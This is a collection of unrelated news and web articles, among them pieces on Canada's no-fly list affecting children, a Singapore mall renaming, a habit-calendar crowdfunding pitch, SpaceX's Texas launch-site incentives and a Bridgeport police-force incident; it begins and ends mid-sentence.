want to be told by Washington that I have to use them – that I have no choice.  Let me say, I’ve taken most of the risk here. I’ve manufactured the bumper stickers. I’ve done the heavy lifting, as they say. All you have to do to join this freedom campaign is invest $6.  Are you with me?  Related special offers:  “I’m pro-choice on light bulbs” bumper sticker  Check out WND’s full line of bumper stickers
-OTTAWA – Public Safety Minister Ralph Goodale says the government is working to resolve ongoing airport hassles children face due to security snags – and passing a federal bill now before Parliament is the first step.  Families from the group known as the No Fly List Kids came to Ottawa to make their case to MPs and ministers Monday with the aim of ensuring that funding for a new computer system to fix the problem is included in the 2018 federal budget.  Parents of children who have repeatedly endured nerve-racking airport delays because a youngster’s name matches one on a no-fly list say the federal legislation will do nothing in the short term to ease their woes.  ABOVE: Angie Seth speaks to a father whose 8 year old son is on the so-called no fly list who says the families are fed up and want the Liberals to stop breaking their promises.  The government is proposing an amendment to the Secure Air Travel Act that would allow the public safety minister to tell parents that their child is not on the Canadian no-fly list, meaning the name simply matches that of someone who is actually listed. The government says this would provide assurance to parents about their child’s status.  The legislation, part of a broad package of security-related measures, would also allow federal officials to electronically screen air passenger information against the list, a process currently in the hands of airlines. The government says this would prevent false name matches by enabling it to issue unique redress numbers for pre-flight verification of identity.  But it also means creating a new computer system to do the job.  WATCH BELOW: Nineteen-year-old Yusuf Ahmed talks about his experience on the no-fly list.  Goodale said Monday the overall solution entails passing the legislation, enacting regulations and building the computer system from the ground up.  “It is a complicated process, sadly. The mistake was made several years ago when this thing was set up in a backwards fashion,” he said before the daily question period.  “We’ve got to change the system and that’s what we’re working on.”  READ MORE: Feds have been little help for families of no-fly list kids  Families were disappointed funds for the new system did not turn up in the last federal budget and they’re beginning to lose patience.  “This is a technical problem that requires a technical solution,” said Sulemaan Ahmed, whose son Adam, 8, has been held up many times before boarding a flight.  “The families are not willing to wait longer for more excuses.”  WATCH: Liberals claim Bill C-59 addresses people misidentified on no-fly list  In June 2016 the government created an inquiries office to help resolve travellers’ problems. But the No Fly List Kids group, which now includes more than 100 youngsters, says the difficulties persist.  “Every time we fly it happens,” said Heather Harder of London, Ont., whose son Sebastian, 3, has been repeatedly flagged.  “My family is from Saskatchewan. And so we go back to visit them fairly often. Every leg of the trip we’re stopped,” she said Monday after a news conference.  “We’ve only flown domestically. We’re actually too nervous to fly internationally.”  LISTEN: Newstalk 770’s Rob Breakenridge with father Sulemaan Ahmed.  Ahmed and his wife Khadija Cajee stressed the need for a more effective redress system last month in a presentation on behalf of the group to a House of Commons committee conducting consultations on the next budget.  “Some of our children have been denied initial boarding and delayed to the point that they have missed flights internationally. Older No Fly List Kids avoid travel due to the potential for stigmatization,” the submission said.  “All families find the security screenings become increasingly invasive as their children have gotten older.”  VIDEO: Dozens of children placed on Canada’s no-fly list  Ahmed worries about children who have been caught in the no-fly web for years and now find themselves travelling abroad as young adults, with no guardians nearby to sort out problems.  “This goes beyond the no-fly list, actually,” he said in an interview. “This could impact their employment, this could impact security clearance, this could impact admission into universities and schools.”  In addition, the group says, the mismatches often involve Muslim-sounding or Arabic-sounding names, raising the question of charter of rights guarantees of equality under the law.  “The darker side here is that we know that things go terribly wrong when it comes to information-sharing and lists of this sort that get shared with governments around the world,” said Alex Neve, secretary general of Amnesty International Canada, who attended the news conference.  “It can even lead to unjust imprisonment, disappearances and torture. That’s why we need to take this seriously.”  The No Fly List Kids group has enlisted support from MPs of all stripes who have written letters to encourage Finance Minister Bill Morneau to include the redress measure in the next budget.  Among them is Toronto Liberal MP Rob Oliphant, who chaired the House of Commons public safety committee when it issued a report on national security calling on the government to provide the financial resources for the new system.  “Through expert witnesses, it became apparent to our committee that the no-fly list’s social cost, without an appropriate redress system, greatly outweighs its security benefit,” Oliphant says in the August letter.  “Affected Canadians find their ability to visit family members, travel for leisure or travel for the economic benefit of Canada severely limited and sometimes revoked.”
-SINGAPORE - Suburban mall Compass Point has picked "1 Sengkang Mall" to be its new name after a naming contest, but netizens do not seem to welcome it.  On Tuesday (Dec 22), the shopping mall announced in a Facebook post: "We are proud to share that '1 Sengkang Mall' has been chosen and approved by Government Authorities.  "Congratulations to Ms Lee Sook Fong who will be walking away with $1,000 cash prize!!"  Many who responded to the post were unimpressed.  "So, just in Sengkang itself,we have Seletar Mall, Rivervale Mall and now Sengkang Mall, so boring," said Facebook user Disapora Ooi.  Netizen Thomas Toh called it "a lousy name", and Jacqualine Chan made a sarcastic comment: "Wow! Lots of creativity in that name!"  "Compass Point was such a nice name what is wrong with you authorities," wrote Anubhav Khanna.  The "Give us our new name" contest was held from Oct 15 to Oct 30.  The mall has been temporarily closed since October for upgrading works and is expected to re-open in a year with the new name.  In an earlier Facebook post, the mall announced: "We're transforming! Our new sleek contemporary mall will feature sensational fresh elements including different concepts. And we need a great name to go with this new exciting look."  On Nov 12, the top eight names submitted were announced.  They were:  - Sengkang Central Mall  - Sengkang Mall  - One Sengkang  - SengKang Square  - One Sengkang Square  - Sengkang One  - #1 Sengkang Square  - 1SM  The winning name - 1 Sengkang Mall - was announced on the mall's Facebook page on Dec 22.  Correction note: An earlier version of this story reported the mall's new name as Sengkang Mall. The information was taken from the mall's Facebook page. A spokesman has since clarified that the mall's Facebook post was wrong and that the correct winning name is "1 Sengkang Mall".
-The Habit Calendar is a tangible tracking tool to monitor the small habits that make you feel like a sane human.  Here's how it works  Write the habits you want to track in the left column.  Check off the habits you've completed at the end of every day.  BOOM! You are so impressive and accomplished! Way to go, champ!  Here's why it's awesome  The Habit Calendar is a physical thing -- no buzzing, alerts, or screens required. It acts as a visual cue (next to your bed, on your fridge, or wherever you want to put it) to remind you to think about your habits every day.  It acts as a visual cue (next to your bed, on your fridge, or wherever you want to put it) to remind you to think about your habits every day. You get that satisfying feeling of checking something off your to-do list . Sometimes the only motivation you need to floss or stick to your bedtime is knowing you can check that box at the end of the day.  . Sometimes the only motivation you need to floss or stick to your bedtime is knowing you can check that box at the end of the day. Once you have a few check marks in a row, you won’t want to break your streak.  The Habit Calendar helps you stay accountable to yourself. It’s one thing to talk about making a change, but actually writing it down on paper makes you more committed to it.  Deciding which habits to track  We can help you there, too.  We asked our positive psychologist friends at Thrive At Work to help us create the Habit Calendar’s Habit Brainstorm Guide based on the latest scientific research about habits. They came up with a brilliant list of questions to help you get to the root of what habits would be the most meaningful to you. It’s free with the Habit Calendar or $5 as a stand-alone PDF.  Sneak peek of the Habit Brainstorm Guide  The Habit Brainstorm Guide will also feature a list of example habits to get your creative juices flowing  Product Details  Note: Some things are different from the prototype in the video! For example, the actual calendar will be a touch bigger (more room for writing!) and the spiral coil will be white.  8" x 10"  Soft-touch cover that feels awesome  Monthly themes to inspire you  Nail hole and calendar hook so you can display it however you'd like  Undated so you can start anytime and use it for a full year  Printed on 100% recycled paper from French Paper Company, a third-generation paper mill in Michigan  Made in the USA (in Cleveland, Ohio, to be exact)  Stretch Goal Unlocked!  Y'all have totally blown us away, and we want to say THANK YOU with a bonus gift!  Since we've surpassed our stretch goal of $15,000, we’ll include 3 coloring prints from our mantra coloring book, You Got This! They are printed on sturdy paper stock so that you can use heavy duty coloring supplies and share/frame them when you’re done! Perfect for some holiday de-stressing!  3 of these prints could be yours!  Where did this idea come from?  The idea came to me while I was reading Gretchen Rubin's The Happiness Project. Her emphasis on habits as a force for change really resonated with me. I started thinking about the habits that are most important to me and how I could do a better job of keeping myself accountable to them. I created a rough mock-up that my friends and I have been using for two years. I asked my friends Nicole Melville (art) and Trish DiFranco (words) to contribute their talents and here we are!  Rewards!  Back the project now to get one, two, three, five, or ten Habit Calendars! You can also get the PDF version of our brainstorm guide for $5.  We'll be sending out rewards the first two weeks of December so they arrive for the holidays!  Thank you so much for taking the time to learn about our project! We can't wait to hear what you think about the Habit Calendar! Yay!  P.S. It would mean so much to us if you helped spread the word. You can share our project on Facebook, Twitter, and... anywhere else, really. :) Thank you!  Let's be friends!  Our website | Instagram | Facebook | Twitter | Pinterest
-Your spare blanket or stored winter clothing takes up much more closet space than necessary. Along with the actual fibers of the fabric, the items are full of extra air that fills them out and gives them bulk. Vacuum-sealing your belongings sucks the air out of them and reduces them to their minimum sizes, without damage. The expensive storage bags marketed for this aren't necessary. You can seal your belongings, protect them from the elements and free up closet or suitcase space using household items you already have.  Fold the clothes, blankets other items you plan to store. Put them neatly inside a sturdy trash bag. Settle the folded items flat on the bottom of the bag so the opening at the top faces straight up.  Video of the Day  Insert the hose attachment of a vacuum cleaner into the bag and hold the bag closed around the nozzle with one hand. Pull the nozzle up slowly until only a few inches of hose remain inside the bag. Pull a rubber band over the outside end of the attachment and secure the bag tightly around the hose.  Fit the free end of the hose onto a vacuum cleaner. With one hand, bunch the material of the bag up around the attachment slightly, so the nozzle isn't touching any of the plastic and there's a little space around it.  Switch the vacuum on, using its lowest setting. Continue to hold the plastic away from the nozzle as the vacuum sucks all of the air out of the bag. When the bag shrinks as much as possible, release the plastic and allow the vacuum to remove the last bit of air from the top of the bag.  Turn the vacuum off and immediately remove the nozzle, keeping the rubber band in place. Add an extra twist or two to the band to tighten it if necessary. Repeat the process with any remaining bags.
-We’re the home of Men’s Health Month in NZ. It’s a great time to think about our health and how important it is, to start talking about it with our mates, families and doctors, and to do something for ourselves to be just a little bit healthier. Men’s Health Month runs every JUNE.  Throughout the month we’re encouraging men in New Zealand to open up and start talking about our health, and to get along to the Doc for a check-up. Get your workplace involved too – we’ve got heaps of brochures to spread around your office or workshop. And why not have a go at starting your own fundraiser so you can support what we’re doing. Let us know what you’ve got planned and we can help you promote it.  A week just isn’t long enough for all this, that’s why we put men’s health week behind us and started Men’s Health Month. Everything we do goes directly to helping improve the health of men in New Zealand. We’re a small charity trying to make a big difference. So get on board with us this June for Men’s Health Month and be a part of it.
-The Sliming of Josh Freeman  Would the Tampa Bay Buccaneers and their head coach Greg Schiano leak confidential information that implied one of their own players was on drugs as a way to deflect attention from another wretched season? Schiano says “absolutely not.” But the facts point in the direction of him or his staff, and the facts are ugly as hell.  Quarterback Josh Freeman is officially in “stage one” of the NFL’s drug testing program. That means he voluntarily entered. He did so as a way to show league officials that the one time he tested positive for a banned substance, a prescription medication for ADHD, it was a one time mistake. By electing for stage one, Freeman's involvement is supposed to be confidential. So confidential in fact that even his team, the Tampa Bay Buccaneers, is not supposed to know that he had entered the program. It means he had been tested 46 times over the last 18 months for every possible substance and passed every time.  But Josh Freeman, in high profile fashion, is on the outs in Tampa Bay. After a dazzling beginning to his career, Freeman has withered in recent years. Following a 0-3 start in which he didn’t complete 50% of his passes, Freeman’s relationship with head coach Schiano would be best described as “cyanogenic.” But it is hard to think of any quarterback, or any human who could mesh with the tyrannical, browbeating former Rutgers coach.  Schiano is the sort of person who thinks heading up a football team means you need to act like an amalgam of General Patton and Chet from Weird Science. He is not only barely holding onto his job. He is barely holding onto a team that has had multiple meetings about how much they hate his style, his play calling, and pretty much everything short of his haircut. Benching Freeman is a way to deflect attention from his own epic failure as coach and be given time to break in Freeman's backup, a raw rookie third round draft pick named Mike Glennon.  After his benching, Freeman demanded a trade and the team clearly wants to oblige and get as much as they can in return. But alas, there is a tension. While upper management wants to maximize Freeman’s value, those in tenuous positions of power on the Bucs – like the gobsmacking 26 assistant coaches on staff – have an incentive to make Josh Freeman to look as cancerous as possible. Someone connected to the team released information to ESPN’s “NFL insider” Chris Mortensen who in a manner far closer to Judith Miller than Glenn Greenwald, dutifully reported the leak that Freeman was in “stage one” of the drug program, while leaving out that he was reporting confidential information or the nature of the drugs involved. Immediately the rumors started to swirl and the sliming was underway.  This is exactly why sports unions take such pains - despite all the slings and arrows from the media, politicians, and owners that they are “soft” on drugs - to protect players from abuses in how drug testing is administered. It is why they fight for ironclad confidentiality clauses for first offenders and an independent appeals process. They do it to protect players from having their reputations tarred from false positives. But even more significantly, they simply do not trust those in management to not use drug testing as a form of leverage against players. In other words, they believe that left to their own devices, owners and coaches will treat players the way the Bucs are treating Josh Freeman.  I was able to get through to NFL Player's Association executive director DeMaurice Smith after he visited Tampa Bay in an already scheduled visit as part of the routine rounds of the union. He said, "We always protect player rights with vigilance. A breach of confidentiality is one of those instances where the league should agree with us on a zero tolerance policy.” Smith is clearly challenging NFL commissioner Roger Goodell to treat this as a serious league violation. Goodell, who has liked to present himself as a Eastwood-esque sheriff when dealing with player misconduct, should treat this with the same seriousness. The smart money says he will not. When it comes to players, Goodell is Eastwood. When it comes to disciplining management, he is more like the empty chair.  As for Josh Freeman, he had to issue a hastily composed comment last night addressing the rumors that he was in some sort of rehab. He describes the vague leaking of confidential information as a case of being “publicly violated.” People should read his full statement. This is someone who has been grievously wronged.  Whether or not you are a fan of Tampa Bay, the Bucs, or even football, you should care about this issue. Drug testing and a complete absence of what can now quaintly be called “privacy” has become normalized in the American workplace. The idea that someone with a union contract that guarantees some basic protections can have his confidentiality treated like toilet paper is alarming. The idea that the Bucs could get away with this on the largest possible media platform is enraging. The idea that Greg Schiano can plead ignorance andonly say, "I know what I've done, and I'm 100% comfortable with my behavior” and when pressed, “I’m not at liberty to comment on that” is a joke. He should be saying that he will find out who violated his player’s privacy and discipline them. Anything short of that are grounds for dismissal. If the Bucs owners won’t do it, the league should step in. if the league won’t step in, an already angry Bucs team should just walk out. The Tampa Bay organization under Schiano has become the worst kind of laughingstock: the kind that isn’t funny.  Dave Zirin is the author of the book: "Welcome to the Terrordome: The Pain, Politics and Promise of Sports" (Haymarket). You can receive his column Edge of Sports, every week by going to dave@edgeofsports.com.  Become an Edge of Sports Sustainer (Click Here)  Contact him at edgeofsports@gmail.com
-The PIRATE Act is back, and this time it means business.  Sen. Patrick Leahy (D-VT) and Sen. John Cornyn (R-TX) yesterday introduced the Intellectual Property Enforcement Act (PDF), with Leahy saying, "The PIRATE Act has passed the Senate on three separate occasions; this should be the Congress in which it becomes law."  Like previous incarnations of the PIRATE Act, this one tries to force the Department of Justice to bring suits against individual file-swappers, something that could save the recording industry plenty of money and could also displace some of the "bad guy" stigma that the labels have acquired after suing people like Jammie Thomas.  The bill would give the Department of Justice authority to bring civil (not just criminal) cases against infringers, though it does limit penalties to those that could be imposed in criminal proceedings. The Attorney General can also bring such civil suits only when the act in question constitutes a crime (such civil suits can be easier to win).  Leahy and Cornyn want Justice to start prosecuting file-sharers, which sounded like a bad idea the first time we heard it and hasn't gotten any better since. Since the No Electronic Theft Act passed in the late 1990s, the DoJ has actually had the authority to bring criminal cases against file-swappers under certain situations; to date, it has not filed a single one.  The Department would no doubt rather be busting gangsters, child molesters, and even actual counterfeiting rings, but it seems like some members of Congress are intent on pressing Justice to get involved in the P2P lawsuit game—something that Big Content would dearly love to see happen.  The bill also provides more funding to counter intellectual-property crimes involving both computers and Internet, along with more FBI agents to investigate such crimes.  "Copyright infringement silently drains America's economy and undermines the talent, creativity and initiative that are a great source of strength to our nation," said Leahy. "When we protect intellectual property from copyright infringement, we protect our economy and our ideas."
-For the past two years, Kate Downing has been one of Palo Alto's most passionate advocates for building more affordable housing.  As one of the founding members of the citizens group Palo Alto Forward and a member of the city's Planning and Transportation Commission, she also has been a vehement critic of the city's recent tilt toward slow-growth policies, and its failure to address a housing shortage that many in the community and some on the City Council believe has reached a crisis level.  Kate Downing Kate Downing  "Time and again, I've seen dozens of people come to both Commission meetings and Council meetings asking Council to make housing its top priority," Downing wrote. "The City Council received over 1,000 signatures from Palo Alto residents asking for the same. In the annual Our Palo Alto survey, it is the top issue cited by residents.  "This council has ignored the majority of residents and has chartered a course for the next 15 years of this city's development, which substantially continues the same job-housing imbalance this community has been suffering from for some time now: more offices, a nominal amount of housing, which the Council is already laying the groundwork to tax out of existence, lip service to preserving retail that simply has no reason to keep serving the average Joe when the city is only available to Joe Millionaires."  In her resignation letter, Downing pointed to the city's difficulties in filling job openings in the Palo Alto Police Department and renewing contracts with the local teachers because of the "astronomical" cost of housing, not just in Palo Alto but "many miles in each direction."  It is clear, she wrote, that "if professionals like me cannot raise a family here, then all of our teachers, first responders, and service workers are in dire straits."  Downing herself is facing similar challenges, despite the fact that she is a corporate attorney and her husband is a software engineer at Palantir. For several years, they have been renting a home in the Ventura neighborhood. Now, they are preparing to move to Santa Cruz.  In her resignation letter, Downing wrote that "After many years of trying to make it work in Palo Alto, my husband and I cannot see a way to stay in Palo Alto and raise a family here."  "We rent our current home with another couple for $6,200 a month; if we wanted to buy the same home and share it with children and not roommates, it would cost $2.7M and our monthly payment would be $12,177 a month in mortgage, taxes and insurance," Downing wrote. "That's $146,127 per year -- an entire professional's income before taxes. This is unaffordable even for an attorney and a software engineer."  Downing also noted that over the last five years, she'd seen dozens of her friends leave Palo Alto and, in some cases, the Bay Area. She also said that she has seen friends from other states get job offers in Palo Alto and then turn them down whey they started to look at the price of housing.  "I struggle to think what Palo Alto will become and what it will represent when young families have no hope of ever putting down roots here, and meanwhile the community is engulfed with middle-aged jet-setting executives and investors who are hardly the sort to be personally volunteering for neighborhood block parties, earthquake preparedness responsibilities, or neighborhood watch," Downing wrote. "If things keep going as they are, yes, Palo Alto's streets will look just as they did decades ago, but its inhabitants, spirit, and sense of community will be unrecognizable.  "A once thriving city will turn into a hollowed out museum. We should take care to remember that Palo Alto is famous the world over for its residents’ accomplishments, but none of those people would be able to live in Palo Alto were they starting out today," she wrote.  Downing is hardly alone in urging the council to act with more urgency on promoting affordable housing. In March, more than 1,000 residents, including numerous former mayors and planning commissioners, signed a petition spearheaded by Palo Alto Forward that urged the council to do more to address this topic.  "The cost of living in Palo Alto has skyrocketed. As a result, we are seeing long-time neighbors move because they can no longer afford the rent," the petition stated. "It is not unusual for Palo Alto workers to commute in from areas as far as Stockton, Gilroy and Tracy, putting severe strain on our roads and our climate. We are on the path to being a city composed only of long-time landowners and wealthy newcomers. This situation is the result of city policies that have discouraged new housing while encouraging more office space."  Recent surveys also suggest that residents are growing increasingly anxious about getting priced out of Palo Alto. In the city's annual survey, the number of people who gave Palo Alto good grades for "variety of housing options” dropped from 27 percent in 2014 to 20 percent in 2015, while the percentage of people who ranked the city as a good or excellent place to retire dropped from 60 percent to 52 percent between 2014 and 2015 (in 2006, it was 68 percent).  Local concerns about housing were also highlighted in a poll that the city commissioned last spring, when it was considering whether to proceed with a business tax to address traffic congestion. The poll showed 76 percent of the respondents listing "cost of housing" as an "extremely serious" or "very serious" problem, a higher percentage than any other issue (the drought and traffic congestion scored second and third, with 65 percent and 53 percent, respectively).  Downing's letter comes at a particularly sensitive time for local politics. The city is about to hold its first City Council election since the slow-growth "residentialist" camp won the council majority in 2014 and four of the council's nine seats will be up for grabs.  Several candidates jumping into the race, including current planning commission Chair Adrian Fine, Human Relations Commission Chair Greer Stone and technology executive Michelle Kraus (all of whom are renters) have vowed to make creation of more housing options a priority if elected.  ---  Follow the Palo Alto Weekly/Palo Alto Online on Twitter @PaloAltoWeekly and Facebook for breaking news, local events, photos, videos and more.
-When he's not too busy dismantling democracy, the President of the United States just keeps giving us easy ways to troll him. An insider leaked a photo of a bookshelf in the White House's Old State Department Library to MSNBC's Chris Hayes and it's gone viral on Twitter. You can see why. The mostly-empty bookshelf is basically the perfect, tragic metaphor for our current administration:  A contact sends along a picture of a bookcase in what's called the Old State Department Library in the EEOB. It's the first thing you see pic.twitter.com/o4hNMkyDJr — Chris Hayes (@chrislhayes) January 26, 2017  Notice the books. — Chris Hayes (@chrislhayes) January 26, 2017  "Notice the books," he wrote, ominously. Let's take a closer look:  To start with, there are eight books on this shelf, some of them duplicate copies, so realistically there are five books on this shelf. We haven't seen this much empty space since Trump's inauguration. Also, ICYMI: every single one of these books was written either by or about Donald Trump.  As many have been quick to point out:
-Spy Shots: Exposed 2019 RAM 1500 Interior Shows Vertical Touchscreen  The interior of the upcoming 2019 Ram 1500 pickup is going high-tech.  New images show that Fiat Chrysler Automobiles has designed a full-length digital touchscreen for its top-selling full-size truck. Spy photographers recently captured the prototype during testing.  The 2019 Ram 1500 will debut at the North American International Auto Show in Detroit this January to compete against Ford’s F-150 and the Chevrolet Silverado, which also is expected to unveil a next-gen model at the show.  In recent months spy shots have shown a quick glimpse of the Ram 1500 interior as well as a full view of its exterior design.  Now we know how the full interior controls will look.  Ram has adopted a large vertical screen that is reminiscent of those in the Tesla Model S sedan and Model X SUV.  Unlike the Teslas, however, the Ram 1500 will retain physical buttons along the sides of the screen for climate control and menu options. There are buttons at the top of the screen for safety features like lane-keep assist and parking assist. There also are switches on the bottom of the screen for traction control, parking sensors and other functions.  The screen itself is operated by the latest fourth-generation version of the UConnect 8.4 system in other FCA products such as the Chrysler 300, Dodge Charger and Dodge Challenger. It is compatible with Apple CarPlay and Android Auto.  The key fob for the new vehicle was also spotted in the vehicle’s center console. It reveals buttons for a power-activated tailgate and remote control of the truck’s air suspension system – potentially making it possible to load items into the pickup bed without turning the vehicle on.  The current Ram 1500 is the only full-size pickup truck that offers air suspension.  Read Next: Spy Shots: 2019 Ram 1500 Full Design Exposed  Learn more about Specs & Pricing  Research
-In a glass-walled conference room at the California headquarters of Space Exploration Technologies, Chief Executive Officer Elon Musk told Texas officials he was interested in building the world’s first commercial rocket launchpad in their state - if the state could compete.  In the months after the 2011 meeting, state and local officials gave Musk, a billionaire, what he and his lobbyists sought: about $20 million of financial incentives, laws changed to close a public beach during launches and legal protection from noise complaints.  SpaceX, as the company is known, hasn’t said whether the Texas site, near Brownsville, the poorest metropolitan area in the nation, will be selected over locations in Florida, Georgia and Puerto Rico.  State and local governments often fall into bidding wars for jobs, offering tax breaks and sweeteners amounting to $70 billion annually, according to Kenneth Thomas, a political science professor at the University of Missouri in St. Louis.  “You’ve got to make sure you’re providing what everybody else is providing for tax incentives and tax breaks,” said John Baldacci, who was governor of Maine from 2003 to 2011 and regularly received requests for tax breaks.  Three years of discussions among Texas officials and SpaceX representatives culminated with the incentive offers, according to interviews. SpaceX hired lobbyists and flew a key lawmaker to its offices. Musk gave about $12,000 in campaign contributions.  Emily Shanklin, a SpaceX spokeswoman, declined to comment on incentives. Texas officials said they’re necessary to lure jobs sought by many other states.  The state stepped up its corporate blandishments in 2003 by creating a dedicated fund. It was two years after Boeing decided to locate its headquarters in Chicago instead of Dallas.  The issue of government subsidies drew national attention in January as states from California to South Carolina offered billions to land production of Boeing’s 777X aircraft. Officials in Louisiana last year agreed to as much as $257 million in incentives for Johannesburg-based Sasol Ltd. to build a plant to convert natural gas to diesel fuel and other products. Rental- car company Hertz Global Holdings Inc. agreed in 2013 to move its headquarters from New Jersey to Florida after being offered $85 million in incentives.  For Texas, the second-most-populous state, where unemployment is 6 percent and 252,400 positions were created last year, SpaceX would represent a blip in the economy.  The employment potential - including about 600 directly employed by SpaceX - is more significant for the local economy. In the region near the launch site, at Boca Chica Beach in the state’s southernmost tip, two of five residents live in poverty. Leaders of the historically impoverished border town are seeking to make it as well known for space travel as Houston, home of NASA’s Johnson Space Center.  Some current and former Texas lawmakers say the state shouldn’t give away revenue in exchange for jobs.  “A lot of money is given to people that doesn’t benefit but a few people,” said A.R. “Babe” Schwartz, a lobbyist who served in the legislature for 26 years until 1981. “It’s good for whoever got the money and for the lobbyists who got it.”  The Texas negotiations started with SpaceX’s telling Republican Gov. Rick Perry’s staff of its interest in early 2011, said Josh Havens, an aide to Perry at the time.  Perry’s office called Gilberto Salinas, executive vice president of the Brownsville Economic Development Council, which recruits businesses, as he was on his way to dinner to celebrate his son’s birthday.  Three weeks later, Salinas and four other people from Brownsville met with Musk, who also started PayPal, the Internet payment system, and Tesla Motors Inc., an electric car company, at the company’s Hawthorne, California, headquarters, Salinas said. Musk, 42, has a fortune of $9.8 billion, according to the Bloomberg Billionaires Index.  He founded SpaceX in 2002 to build and launch rockets to serve the International Space Station. The company has conducted launches at the Kennedy Space Center to supply the space station under a contract with the National Aeronautics and Space Administration and in December won the right to lease a launch pad there.  During the meeting, Musk described his dream to take people to Mars, Salinas said. He also said Texas needed to compete with other states.  “They told us, ‘You’re one of quite a few locations we’re looking at,’” Salinas said.  Salinas said he concluded the project would transform the region.  “It made me want the project,” Salinas said. “I thought, ‘If we’re not going to go all out for this project, which one will we go all out for?’”  In downtown Brownsville, 350 miles (560 kilometers) south of Austin, aging buildings and small homes share the landscape with shaggy palm trees and oxbow lakes. The area has the lowest median household income of any metropolitan area in U.S. states, about $32,000, compared with a national average of about $53,000, according to the Census Bureau.  Economic development officials began selling the project to skeptical residents, said Salinas. At one meeting with residents to discuss the project, Salinas was mocked as Buzz Lightyear, after the character in “Toy Story” who thinks he’s a real astronaut.  The company started buying undeveloped land at the proposed site, a sandy prairie with grass and an occasional cactus.  SpaceX increased spending for lobbying. The company had one lobbyist starting in November 2011. By the end of 2012, it was paying five between $95,000 and $200,000 in aggregate, according to state records, which require that the company report only a range of expenditures.  Company lobbyists and lawyers opened discussions with state Representative Rene Oliveira, a Brownsville Democrat. They laid out what the company wanted from state and local officials, including changes in the law and incentives, he said.  SpaceX wanted the government to cover the cost of building electric and water lines to Boca Chica Beach, the proposed launch site, near where the Rio Grande empties into the Gulf of Mexico, said Oliveira.  In 2012, before the biennial legislative session, Musk and a trust in his name donated $1,000 to Representative Jim Pitts, a Republican who is chairman of the House Appropriations Committee, $1,000 to Oliveira and $3,000 to Senator Eddie Lucio Jr., a Brownsville Democrat.  Pitts and his then-chief of staff, Aaron Gregg, visited SpaceX’s headquarters in January 2013. The company spent $6,803 on the three-day trip, including bills for a hotel steps from the Santa Monica beach, according to state records.  SpaceX won Pitts’s support, which was key to getting incentives approved, said Oliveira.  He “was very helpful in obtaining the commitment to spend $15 million,” Oliveira said.  Requests to interview Pitts were referred to his chief of staff, Victoria Weber, who didn’t respond to written questions. Gregg declined to comment.  As the legislative session was under way, Oliveira said he told Musk to “plant the flag” by meeting with lawmakers.  Musk heeded the advice. On March 8, he appeared at a hearing before Pitts’s committee, which oversees spending, at the Capitol in Austin. Oliveira and a SpaceX lobbyist appeared with him.  “Any support Texas can offer would be helpful,” Musk said at the hearing. While Texas was the leading candidate, “We are absolutely looking at other locations.”  Oliveira said Texas had to compete with other places. He told lawmakers that Florida had $20 million this fiscal year to recruit space-related companies.  Tina Lange, a spokeswoman for Space Florida, the state’s aerospace economic development agency, declined to comment on the value of possible incentives. Officials in Puerto Rico and Georgia aren’t publicly discussing any.  “For us to be competitive with other states, we have to make this attractive,” Oliveira told committee members. “We’ve heard numbers from other states that are pretty aggressive.”  By the end of the 2013 legislative session in May, lawmakers approved everything the company wanted, including changes to the law and $15 million for infrastructure.  Approval of incentives by the local officials is pending a final decision by the company, according to Salinas. Cameron County, where the beach is located, plans to offer tax breaks that could save SpaceX $2 million over 10 years, said County Judge Carlos Cascos, the top elected official.  The company likely will receive $3 million in incentives from the Brownsville Economic Development Council, which receives government funding, according to a person familiar with the negotiations who asked not to be identified because no final decisions have been reached.  State and local officials said they hope the incentives they put together will close the deal.  “We’ve moved forward over the past three years and done everything they’ve asked of us,” said Tony Martinez, mayor of Brownsville. “We were competitive with whatever Florida was putting together.”
-Dwight Gayle is a "big doubt" for tomorrow's game against Preston North End.  Rafa Benitez today revealed that the Newcastle United striker is battling to be fit to play at Deepdale.  Gayle is the club's leading scorer with 11 goals.  Benitez said: "Gayle is a big doubt."  READ MORE Christian Atsu on Rafa Benitez, his Newcastle future and his charity work  Aleksandar Mitrovic – who scored twice in Tuesday night's 6-0 EFL Cup win over Preston – could deputise.  Defender Chancel Mbemba also has a "little problem", according to United manager Benitez.  Midfielder Jack Colback – who had stitches in a head wound suffered in the cup win – will not be involved.  Meanwhile, Achraf Lazaar, Jesus Gamez, Massadio Haidara and Rob Elliot are close to a return from their respective injuries.  Visit our NUFC Facebook page here
-Spread the love  Bridgeport, CT — A family is horrified and is seeking justice after watching multiple police officers manhandle and punching a teen in the face multiple times during a routine traffic stop. To make matters worse, the cop doing the punching threatened the mother of the teen for asking officers to stop.  An internal investigation is now underway after video of the incident surfaced and subsequently went viral on social media. In the short video, we see 18-year-old Aaron Kearney held up against a vehicle by several cops as a female officer repeatedly punches him in the face.  “Don’t hurt my son,” Kearney’s mother cries to police. “You’re punching my son.”  “I am,” a female officer is heard responding, “get back.”  That unidentified female officer is the one who refuses to stop punching Kearney in the face.  “Why is she fucking my son up?” the mother asks.  She’s then met with a response from the same officer, “get back or you’re next.”  While it certainly appears that Kearney is struggling, it is important to note that it is particularly hard to remain entirely still as you are getting punched in the face.  Bridgeport Police Chief Armando Perez said he placed several officers on administrative status while the Office of Internal Affairs investigates.  As FOX61 reports, they spoke exclusively with Kearney’s aunt Tiffany Elliott.  “That’s what we have a serious issue with right now because you should not be in law enforcement if you’re threatening people like that,” Elliott said. “By saying “you’re next,” is she next to get beat up? Is she next to be detained for no reason at all? We don’t know what she meant by that, but it was wrong.”  According to Bridgeport police, this entire incident began over a minor traffic accident involving Kearney on Friday around 9:30 pm. According to police, they found out that Kearney’s license was suspended and told him that he’d have to appear in court over the alleged infraction. Police then claim Kearny “became outwardly belligerent and violent towards the officers, who then felt the need to call for backup.”  Bridgeport Police said the video raises “serious questions,” about tactics used during the arrest resulting in an immediate internal investigation, according to FOX 61.  “The Bridgeport Police Department takes this incident very seriously and our primary concern is always for the safety and protection of every resident of our city,” A Bridgeport Police Department spokesperson wrote in a statement Saturday. “However, if there was a violation of police arrest protocol or excessive use of force, we will get to the bottom of it and provide accountability for the department and our community.”  “I really don’t think she should be in law enforcement, she needs to have some kind of evaluation done, because it was too much, it was really excessive force,” Elliott said of the officer in question.  Ironically enough, Kearney comes from a family of cops. Elliot told FOX 61 that Kearney’s grandfather was a Bridgeport Police officer for nearly four decades. She said her mother also retired from Bridgeport Police and her step-brother is a former New Haven Police captain.  “There are several good cops out there,” Elliot told FOX61. “I mean, cops are there to help us and we know that but there are a few that I think are using their badge the wrong way and that’s what we need to put a stop to.”  Kearney’s family said that he has never had any trouble with the cops and has actually attended summits with Bridgeport Police Chief Armando J. Perez to help improve community relations. He was also the captain 